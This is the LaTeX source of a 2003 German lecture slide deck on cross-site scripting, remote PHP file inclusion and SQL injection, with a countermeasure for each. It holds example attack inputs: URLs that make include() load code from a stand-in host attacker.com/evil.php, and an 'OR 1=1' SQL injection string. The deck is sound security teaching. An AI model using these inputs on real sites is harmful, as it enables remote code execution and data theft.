%% LyX 1.2 created this file.  For more info, see http://www.lyx.org/.
%% Do not edit unless you really know what you are doing.
\documentclass[landscape,english,ngerman]{slides}
\usepackage[T1]{fontenc}
\usepackage[latin1]{inputenc}
\IfFileExists{url.sty}{\usepackage{url}}
                      {\newcommand{\url}{\texttt}}

\makeatletter

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% LyX specific LaTeX commands.
\providecommand{\LyX}{L\kern-.1667em\lower.25em\hbox{Y}\kern-.125emX\@}

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Textclass specific LaTeX commands.
 \newcounter{slidetype}
 \setcounter{slidetype}{0}
 \newif\ifLyXsNoCenter
 \LyXsNoCenterfalse
 \newcommand{\noslidecentering}{
    \LyXsNoCentertrue%
 }
 \newcommand{\slidecentering}{
    \LyXsNoCenterfalse%
 }
 \newcommand{\lyxendslide}[1]{
    \ifLyXsNoCenter%
         \vfill%
    \fi%
    \ifcase \value{slidetype}%
         \or % no action for 0
         \end{slide} \or%
         \end{overlay} \or%
         \end{note}%
    \fi%
    \setcounter{slidetype}{0}
\visible
 }
 \AtEndDocument{\lyxendslide{.}}
 \newcommand{\lyxnewslide}[1]{
    \lyxendslide{.}
    \setcounter{slidetype}{1}
    \begin{slide}
 }

\usepackage{babel}
\makeatother
\begin{document}
\begin{center}Konstruktion sicherer Anwendungssoftware\end{center}

\begin{center}\textbf{\large {}``Cross Site Scripting (XSS)''}\end{center}{\large \par}

\begin{center}Stephan Uhlmann <su@su2.info>\\
1.7.2003\end{center}

{\normalsize \vfill}{\normalsize \par}

\selectlanguage{english}
{\tiny Copyright (c) 2003 Stephan Uhlmann}{\tiny \par}

{\tiny Permission is granted to copy, distribute and/or modify this
document under the terms of the GNU Free Documentation License, Version
1.1 or any later version published by the Free Software Foundation;
with no Invariant Sections, no Front-Cover Texts and no Back-Cover
Texts. A copy of the license can be obtained from \url{http://www.gnu.org/licenses/fdl.html}.}{\tiny \par}


\lyxnewslide{}

\selectlanguage{ngerman}
0. Gliederung

\begin{enumerate}
\item Was ist XSS?
\item Arten von XSS
\item Geschichte
\item Im Detail
\item Quellen
\end{enumerate}

\lyxnewslide{}

1. Was ist XSS?

\begin{itemize}
\item Manipulation von Daten die ein Benutzer an eine Web-Anwendung übermittelt
\item Dadurch: Einbettung schädlichen Programmcodes in eine für den Benutzer
normalerweise korrekte Umgebung, Kontrolle über das Programm
\item Ziel: Ausspähen und Manipulation von Benutzerdaten, Ausführen beliebigen
Codes
\end{itemize}

\lyxnewslide{}

2. Arten von XSS

\begin{itemize}
\item Client: Einbettung von schädlichen Programmcode in Webseiten
\item Server: Ausführen von fremden Skripten
\item Server: SQL-injection
\end{itemize}

\lyxnewslide{}

3. Geschichte

\begin{itemize}
\item relativ neu, CA-2000-02: kein konkreter Angriff bekannt
\item mit der Zeit wachsendes Verständnis der Technik und der versch. Angriffsmöglichkeiten
\item 2002: rapider Anstieg der gefundenen Sicherheitslücken
\item ICAT Metabase des NIST: 1999: 2, 2000: 4, 2001: 25, 2002: 99, 2003
(1.7.): 37
\end{itemize}

\lyxnewslide{}

4.1. Im Detail: Einbettung von schädlichen Programmcode in Webseiten

\begin{itemize}
\item Übergabe von Javascript in GET-Parameter in einer URL
\item Skript auf Webserver gibt Parameter ungefiltert aus
\item Browser führt Javascript aus
\item Gefahr: Cookie-Klau -> Übernahme von Sessions
\end{itemize}

\lyxnewslide{}

\begin{itemize}
\item kann in Links (Klick), Image-Tags (autom. Ausführung) usw. eingebaut
werden
\item Angriffsziele: Foren, Gästebücher, Suchmaschinen, 404-Seiten, Webmailer
\item Schutzmaßnahmen:

\begin{itemize}
\item Benutzereingaben prüfen (auch Cookies!), Filterung von akzeptablen
Werten (z.B. fest definierter Wertebereich)
\item Sonderzeichen vor Ausgabe konvertieren (wichtig: Festlegung des character
sets um Sonderzeichen zu identifizieren)
\end{itemize}
\end{itemize}

\lyxnewslide{}

4.2. Im Detail: Ausführen von fremden Skripten

\begin{itemize}
\item PHP include() erlaubt das Laden externer Dateien von anderen Servern
\item Bsp. Navigations-Framework:\\
http://foo.bar/index.php?file=start.html -> include(\$file)\\
http://foo.bar/index.php?file=http://attacker.com/evil.php
\item Bsp. Überschreiben von globalen Variablen:\\
http://foo.bar/index.php?file=plugin.php\\
plugin.php: include(\$fnord), \$fnord normalerweise durch index.php
gesetzt\\
http://foo.bar/plugin.php?fnord=http://attacker.com/evil.php
\end{itemize}

\lyxnewslide{}

\begin{itemize}
\item HTTP GET Anfrage an Fremd-Server
\item Ergebnis wird anstelle des include() in das Skript eingebaut
\item Ausführung beliebiger Befehle des Angreifers
\item Schutzmaßnahmen:

\begin{itemize}
\item Benutzereingaben prüfen, Filterung von akzeptablen Werten (z.B. fest
definierter Wertebereich)
\item PHP: register\_globals off (verhindert Überschreiben der Variablen),
safe\_mode on
\end{itemize}
\end{itemize}

\lyxnewslide{}

4.3. Im Detail: SQL-injection

\begin{itemize}
\item http://foo.bar/search.php?name=Skywalker
\item SELECT {*} FROM mitarbeiter WHERE name='Skywalker'
\item http://foo.bar/search.php?name=egal'\%20OR\%201=1
\item SELECT {*} FROM mitarbeiter WHERE name='egal' OR 1=1
\end{itemize}

\lyxnewslide{}

\begin{itemize}
\item Schutzmaßnahmen:

\begin{itemize}
\item Benutzereingaben prüfen, Filterung von akzeptablen Werten (z.B. fest
definierter Wertebereich)
\item besondere Zeichen (Komma, Semikolon, Anführungszeichen) quoten
\item Trennung von internen und öffentlichen Daten
\end{itemize}
\end{itemize}

\lyxnewslide{}

5. Quellen

\begin{itemize}
\item CERT Advisory CA-2000-02: {}``Malicious HTML Tags Embedded in Client
Web Requests''\\
\url{http://www.cert.org/advisories/CA-2000-02.html}
\item {}``The Cross Site Scripting FAQ''\\
\url{http://www.cgisecurity.com/articles/xss-faq.shtml}
\item Stefan Krecher, {}``XSS for fun and profit'', Chemnitzer LinuxTag
2003 \\
\url{http://www.tu-chemnitz.de/linux/tag/lt5/vortraege/detail.html?index=70}
\end{itemize}

\lyxnewslide{}

\begin{itemize}
\item {}``Understanding Malicious Content Mitigation for Web Developers''\\
\url{http://www.cert.org/tech_tips/malicious_code_mitigation.html}
\item NIST: ICAT Metabase (CVE Datenbank)\\
\url{http://icat.nist.gov/}\end{itemize}

\end{document}

